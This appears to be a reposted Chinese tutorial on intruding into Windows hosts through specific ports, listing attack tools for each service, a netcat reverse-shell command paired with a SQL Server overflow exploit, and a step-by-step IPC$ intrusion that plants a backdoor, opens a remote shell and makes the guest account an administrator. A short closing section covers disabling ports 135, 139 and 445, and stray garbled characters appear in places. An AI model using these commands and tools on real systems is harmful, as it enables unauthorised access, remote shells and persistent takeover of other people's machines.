1.135端口入侵??

可以用NT掃描器來掃描所要IP端? ?

掃出來用Recton2.5來開 3389或TELNET服務等等??

2.139端口入侵

著個端口主要是掃的弱口令，用掃端口的掃一段IP的139端口

在用X-SCAN來批量掃描查弱口令

3. 1433端口入侵? ?

scanport.exe 查有1433的機器? ?

SQLScanPas*.**e 進行字典暴破（字典是關鍵）

最后 SQLTool*.**e入侵??

對sql的sp2及以下的系統，可用sql的hello 溢出漏洞入侵。

nc -vv -l -p 本機端口 sqlhelloF.exe 入侵ip 1433 本機ip 本機端口??

（以上反向的，測試成功）

sqlhelloz.exe 入侵ip 1433 （這個是正向連接）

4. 4899端口入侵??

用4899過濾器.exe，掃描空口令的機器??

5. 3899的入侵??

對很早的機器，可以試試3389的溢出(win3389ex.exe)??

對2000的機器，可以試試字典暴破。(tscrack.exe)? ?

6. 80入侵??

對sp3以前的機器，可以用webdav入侵；

對bbs論壇，可以試試上傳漏洞（upfile.exe或dvup_delphi.exe）??

可以利用SQL進行注入。（啊D的注入軟件）。? ?

7. serv-u入侵(21端口）

對5. 004及以下系統，可用溢出入侵。（serv5004.exe）? ?

對5.1.0.0及以下系統，可用本地提升權限。（servlocal.exe）? ?

對serv-u的MD5加密密碼，可以用字典暴破。（crack.vbs）??

輸入一個被serv-u加密的密碼（34位長），通過與字典檔（dict.txt）的比較，得到密碼??

8. 554端口??

用real554.exe入侵。

J/'oW]6K!? ?

9. 6129端口? ?

用DameWare6129.exe入侵。

10. 系統漏洞? ?

利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，??

進行溢出入侵。??

??

11. 3127等端口

可以利用doom病毒開的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。

12. 其他入侵? ?

利用shanlu的入侵軟件入侵（WINNTAutoAttack.exe）。??

經典IPC$入侵

1. C:/>net use //127.0.0.1/IPC$ "" /user:"admintitrators"??

這是用"流光"掃到的用戶名是administrators，密碼為"空"的IP地址(氣好到家如果是打算攻擊的話，就可以用這樣的命令來與127.0.0.1建立一個連接，因為密碼為"空"，所以第一個引號處就不用輸入，后面一個雙引號里的是用戶名??

，輸入administrators，命令即可成功完成。 　　

2. C:/>copy srv.exe //127.0.0.1/admin$??

先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的??

c:/winnt/system32/，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什么地方去

3. C:/>net time //127.0.0.1??

查查時間，發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00，命令成功完成。

　　? ?

4. C:/>at //127.0.0.1 11:05 srv.exe??

用at命令啟動srv.exe吧（這里設置的時間要比主機時間快，不然你怎么啟動啊. 　　 ;*!

5. C:/>net time //127.0.0.1? ?

再查查到時間沒有？如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05，那就準備? ?

開始下面的命令。? ?

　　6. C:/>telnet 127.0.0.1 99??

這里會用到Telnet命令吧，注意端口是99。Telnet默認的是23端口，但是我們使用的??

是SRV在對方計算機中為我們建立一個99端口的Shell。? ?

雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打 算建立一個Telnet服務！這就要用到ntlm了? ?

　　??

7.C:/>copy ntlm.exe //127.0.0.1/admin$??

用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。 　　??

8. C:/WINNT/system32>ntlm? ?

輸入ntlm啟動（這里的C:/WINNT/system32>指的是對方計算機，運行ntlm其實是讓這??

個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然后使 用"net start telnet"來開啟Telnet服務！

9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，操作就像在DOS上操作??

一樣簡單！(然后你想做什么?想做什么就做什么吧,哈哈) !??

為了以防萬一,我們再把guest激活加到管理組? ?

10. C:/>net user guest /active:yes??

將對方的Guest用戶激活

11. C:/>net user guest 1234 ??

將Guest的密碼改為1234,或者你要設定的密碼

12. C:/>net locaLGroup administrators guest /add??

將Guest變為Administrator

?

?

這次說的是關閉高危端口！
主要還是針對于前一段時間的抓及熱的幾個端口！
對我們個人的計算機產生危險的！也就是135，139，445
首先看139端口！
直接禁用這個netbios就可以了！
如果你是寬帶上網的話！
直接禁用貓的！
如果你是局域網的！
直接禁用網卡的！也就是本地連接的！
之后會提示重新啟動！
重啟一下就ok了！
下邊是445這個有很多的方法！
我就來個最實用的方法！
因為這個端口也是最危險的！
微軟就是會賺錢！給操作系統留下這么個隱患！
首先我們打開注冊表！
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters
依次找到這個項目！
在這里！
新建DWORD項的名字叫這個SMBDeviceEnabled
值為0就可以了！
最后就是135，這個有些麻煩了！
沒關系我們依舊可以關閉他！
首先打開防火墻！
我們啟用防火墻！
因為這個防火墻默認是禁用所有的！
所以我們135也是被禁用的！但是很多訪問網絡的程序就沒辦法訪問了亞！
呵呵！
沒關系！~只要我們在列外里邊把他添加進去就可以了！
如果你的電腦防火墻里如果有WMI這個項目的話
就在這里！一定要把他刪除或者把前邊的勾去掉！
而且防火墻沒事情的時候要啟用他！
WMI就是使用的135端口
如果有文件和打印機！
我建議你再把他取消！
因為這個是445的，為了安全嗎！
畢竟這些是不能保證百分之百的安全！
沒有做不到，只有想不到！

總結

以上是生活随笔為你收集整理的各个端口入侵详解的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。